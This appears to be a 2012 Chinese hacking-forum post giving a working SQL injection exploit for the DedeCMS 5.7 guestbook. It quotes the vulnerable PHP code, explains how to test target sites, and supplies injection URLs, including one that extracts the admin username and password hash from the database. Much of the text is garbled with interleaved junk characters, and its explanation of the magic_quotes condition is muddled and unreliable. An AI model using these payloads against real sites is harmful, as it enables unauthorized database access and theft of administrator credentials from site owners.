中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7, Z: R& g! z) G' n+ S, Q* b' T
* O: f: W- H0 C0 T" j  _1 }2 D
漏洞文件edit.inc.php具体代码:' g1 p8 I0 Q1 [
0 B; R. O: ]- V* q+ A( Q3 V8 V1 r
< ?php  
$ u. e6 F. F. r5 R1 q! O+ ?9 \! u. f7 o
if(!defined('DEDEINC')) exit('Request Error!');  + K4 ?  h+ w1 W1 j- C4 [7 @- Z7 W
- Y+ U0 k5 x, Y; g: j( b
   ! i9 t) _3 n* Y, I8 M* }

& a6 R$ ^; h" i% n3 s0 Xif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
8 }% o+ Y2 s1 S8 |# p6 l/ q# b8 E/ x4 A; \. h8 E, a
else $GUEST_BOOK_POS = "guestbook.php";  7 L8 O+ V; A! c% z2 ]0 Y" U3 l

# z( `4 U% P' [. t8 c   ! p* |9 @6 Z$ f  F! d

' t9 M, I% T  t* c$id = intval($id);  
( I) D8 h6 u; h- a$ n( q3 t4 B, p9 z8 ^/ C  U0 P
if(empty($job)) $job='view';  6 d9 f6 q/ t' S( o& c: P( K* Z
9 v! t- g5 c/ [4 J. d2 n: J
   ) p9 O+ u" q7 {6 p" \

9 ?5 c) {! j( X& m; dif($job=='del' && $g_isadmin)  
( [$ Q% M+ ^/ m3 k9 z6 k" U' i% l9 C3 @) E. D* M; _( [9 i
{  1 p% ^1 |+ [2 l. M7 |

6 M$ B2 d& H/ k9 n4 ]2 o, X1 s! S$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  + K& x( f. O" [+ z6 P' j& \
+ _  k# T) f$ R" R  Y: F0 b
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  & k, @) L0 R* S! m* p( k

( t6 E4 b  u" b: m( Cexit();  6 r* H+ Y) Z) g$ `7 l3 m

; G. w6 Q) S- i% G( X9 q% X- D}  * {$ i2 \1 P0 A1 M. e5 P  t

0 e( t# k0 U4 X, d0 u% E% K% Aelse if($job=='check' && $g_isadmin)  ; H; J+ P0 a! Y" D
9 P7 e; k4 u. ~+ b2 u
{  
8 ~1 o# d9 q" x* p. h' X5 j& Q0 o! _' B
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");    r: c1 ?+ ]/ M+ `( K7 u8 a* }& H

; U% Y- T6 E  FShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
) F/ O7 ?; e! p9 r3 x7 g# G
' l3 i8 \2 P4 z3 R, a+ ~/ zexit();  
8 q+ D6 h9 Q6 w+ P- V7 W# Z4 ]9 s5 V  v( z8 C% f
}  & z3 V% C. b& ]6 Y) B. R, a
5 O; z, z# x- l  {( {9 V1 `$ L
else if($job=='editok')  
4 R3 _3 {5 U" }+ ?& J/ z: @3 y1 @
) h  q1 I: n$ [+ R( X{  
/ U8 {2 h% c  G. z
+ h3 m: R& l* W5 C9 I0 r  Y4 w$remsg = trim($remsg);  
8 a# W  k2 s% B9 k+ [6 [; b3 \6 F' V: c& @% v
if($remsg!='')  
2 ~9 J- S5 g( Z$ p0 _
% X: e' Z+ _  k0 q% Y# v{  
" @3 O3 q; I  Q9 [% Z- C7 k7 a/ J% b& d3 j8 |, n" M) q
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
. \# X9 G4 B: y" c: c2 o  P% A+ @2 q5 _4 P
if($g_isadmin)    J  ?% t; a# q' c4 o# w6 j

. Y( p- L; i) C; v% O% d{  ; g: w6 o; K; b2 d" l/ z& u  e
8 z; l3 `& m) s
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  ) o1 A$ w( X+ ^
  {9 ]9 U( _8 l- d8 Z
//$remsg <br /><font color=red>管理员回复:</font> }  + K3 ?$ l: C/ P( V1 x/ l( z
8 y9 k! q% `3 a6 L
else / `( {" ]+ q' t( ]1 x
4 G3 \  |( G  f, T: Y/ z& j
{  & I3 {" K$ O  }# g; X$ v) J/ t( Z. `

$ H4 p1 M/ j, \! F8 \$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
7 ?  }+ }" S' h8 r+ Z! [! N1 ^1 ]; H- q7 W0 }
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  9 N  ~5 f, ~: d
! ^- N2 e! P" a6 t' ]8 V6 F# D) B: Y
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  1 X$ D/ d: S8 a# `& h
" l1 S1 ~& n% e$ G
$msg = $oldmsg.$remsg;  
" `, q- r* J! t* Q# o3 q
1 p0 Z9 ?6 v4 D* o' g  S" o}  
) P, U$ i2 t! Q2 V3 u6 e* z& O: b3 s: O! O9 O6 ^+ M, _
}    a. r/ l5 V6 y7 a0 a" ~- d" N; c
% L" I3 @; w8 N; a# G- c
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  1 c. G+ ~% I3 C$ A

, ^% \% B4 w! e( y$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
2 m" v! \! T7 t/ w' [) x, _( Q) D
6 M0 f5 ~; _- ?ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
1 N4 I) E$ s, d+ u0 E2 r1 B/ _! W: c" M" B3 u
exit();  + ^3 \* e4 r) K8 M, y+ s; s
7 a% {6 z  n7 ~2 `
}  
) _7 c; v/ `9 g. Z
  L* T6 J( D5 C- ]5 D//home:www.errs.cc  - \$ d! T, n% P  r

( H/ u7 ^$ O* zif($g_isadmin)  
5 c+ g: e$ |# g0 j1 J' ]4 ^0 p; s4 ]9 P9 h
{  4 s' f7 _) g! y: }9 l7 W
' F% G5 h' _5 {7 R0 u" c" f
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  1 V7 x! I. ~7 m6 T+ G3 c

7 u8 y  i& q  e% @) E% @; M' Arequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
' h0 }+ ^9 G+ d8 }# V: n# f# }9 [5 X! j
}  7 r: W+ f% K8 M
0 [$ n$ K) f8 v- s" n7 f
else
3 a# y6 ]' D7 o5 f; K1 K( T. u) Y: k+ i$ d
{  * O8 ]1 p2 a' l2 k1 t  s/ l
5 Z4 ^1 h5 y- D) U; O$ H' O) {
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
/ B0 r; `  l" |) W2 v0 O, e# b5 w4 [; m- ?5 k
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  1 [% s- a" B& T- Y8 s5 S
" b: |4 v6 J4 x# a
} 漏洞成功需要条件:
6 y4 x: D. m  m' k7 Y1. php magic_quotes_gpc=off
' Q0 z. P- Z5 l+ d. K, N5 m/ N$ a. N# u2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。7 l0 Z+ E3 U, w$ Z( b0 q! z5 p
7 ?; J! u$ G# m& o- v* B
怎么判断是否存在漏洞:8 f! ~! g8 J# _0 {% m
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
6 ^, r, d' F- a9 W6 E  g; }) e/ s然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
6 h; s" G, h0 D/ T8 Z* e" E, ]3 o7 |访问:
: r  S6 l- D8 P# ~2 J" F, H. y" F
5 d3 s# L, w6 p# e" Nwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了: I" ]% J% i% D% m( K% j3 f
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证5 W2 z1 L4 l* g% O1 s) V9 }, \

7 A6 e( P8 C7 g& M- S4 A) _6 X
' z# I; C/ W8 Q! V明漏洞无法利用应为他开启了 php magic_quotes_gpc=off! x! B, B5 s" D* a" H# i1 l
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。, R2 |* S/ Y" f: X
那么再次访问' C9 y" i  j5 _9 Z" i% g7 G- `

7 C( h" `' f# q+ o5 H/ f% mwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
9 T* S! P& A+ A7 g2 N( S! Y
) {5 ]7 m) W! |! I1 I大概利用就是这样,大家有兴趣的多研究下!!
6 G* s) W1 v$ O2 \1 n& k
) ?# K% Q1 r) k" A+ Z1 p2 c1 U# V最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
( D! H+ [2 T! b0 W" r& M9 z/ l& u7 t: [+ n2 {7 [5 ^
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2